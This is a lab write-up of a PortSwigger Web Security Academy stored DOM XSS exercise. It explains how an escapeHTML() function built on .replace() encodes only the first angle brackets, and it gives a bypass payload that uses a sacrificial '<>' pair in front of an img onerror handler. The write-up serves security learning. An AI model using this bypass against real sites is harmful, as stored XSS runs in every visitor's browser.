Skip to content

Stored DOM XSS — Broken HTML Escaping in Comment Renderer

Field Value
Platform PortSwigger Web Security Academy
Vulnerability Stored DOM XSS — Broken Sanitization (.replace() vs .replaceAll())
Difficulty Practitioner
Sink innerHTML populated by client-side comment renderer
Goal Exploit incomplete sanitization to store an XSS payload

Phase 1 — Reconnaissance

Leaving a comment with <script>alert(0)</script> and inspecting the resulting HTML:

<section class="comment">
    <p>&lt;script&gt;alert(0)</p>
    <p></p>
</section>
Screenshot
Screenshot

The <script> is partially encoded but the closing tag is missing — the comment renderer is mangling the output. Investigating the script loading comments:

<script src="/resources/js/loadCommentsWithVulnerableEscapeHtml.js"></script>
<script>loadComments('/post/comment')</script>

Reading the source reveals the vulnerable function:

function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
}

The vulnerability is in .replace() — it only replaces the first match.


The Bug — .replace() vs .replaceAll()

JavaScript's .replace() only replaces the first occurrence of the target string. .replaceAll() replaces every occurrence. Testing in the browser console:

// .replace() — only first < and first > are encoded
"<script><h1>alert(0)</h1></script>".replace('<', '&lt;').replace('>', '&gt;');
// → "&lt;script&gt;<h1>alert(0)</h1></script>"
//                   ↑ NOT encoded from here on
// .replaceAll() — all instances encoded correctly
"<script><h1>alert(0)</h1></script>".replaceAll('<', '&lt;').replaceAll('>', '&gt;');
// → "&lt;script&gt;&lt;h1&gt;alert(0)&lt;/h1&gt;&lt;/script&gt;"

The fix is one character away — .replace() should be .replaceAll().


Phase 2 — Exploitation

Since only the first < and first > are encoded, placing a sacrificial <> pair at the start of the payload consumes both replacements harmlessly, leaving all subsequent angle brackets unencoded:

"<><img src=teto.png onerror=alert(0)>".replace('<', '&lt;').replace('>', '&gt;');
// → "&lt;&gt;<img src=teto.png onerror=alert(0)>"
//                ↑ this img tag is NOT encoded — free HTML

Payload submitted as comment:

<><img src=teto.png onerror=alert(0)>

The resulting stored HTML rendered for every visitor:

<section class="comment">
    <p>tetooo | 13-05-2026<img class="avatar" src="..."></p>
    <p>&lt;&gt;<img src="teto.png" onerror="alert(0)"></p>
    <p></p>
</section>
Screenshot

The image failed to load, onerror fired, alert(0) executed. Lab solved.


Why <script> Didn't Work

Even though the <script> tag made it through partially unencoded, scripts injected into existing DOM via innerHTML (which displayComments uses internally) are inert — the browser spec prevents dynamically inserted <script> tags from executing. Event handler payloads like onerror are not subject to this restriction.


Conclusion

  1. The comment renderer used a custom escapeHTML() function with .replace() instead of .replaceAll() — only the first < and first > in the input were encoded.
  2. <script>alert(0)</script> was partially encoded but the closing </script> tag survived unencoded; however, <script> via innerHTML is inert per the browser spec.
  3. A sacrificial <> pair at the start consumed both .replace() substitutions, leaving <img src=teto.png onerror=alert(0)> unencoded and rendered as live HTML.
  4. The stored payload persists in the database and fires for every user who views the comment — stored DOM XSS.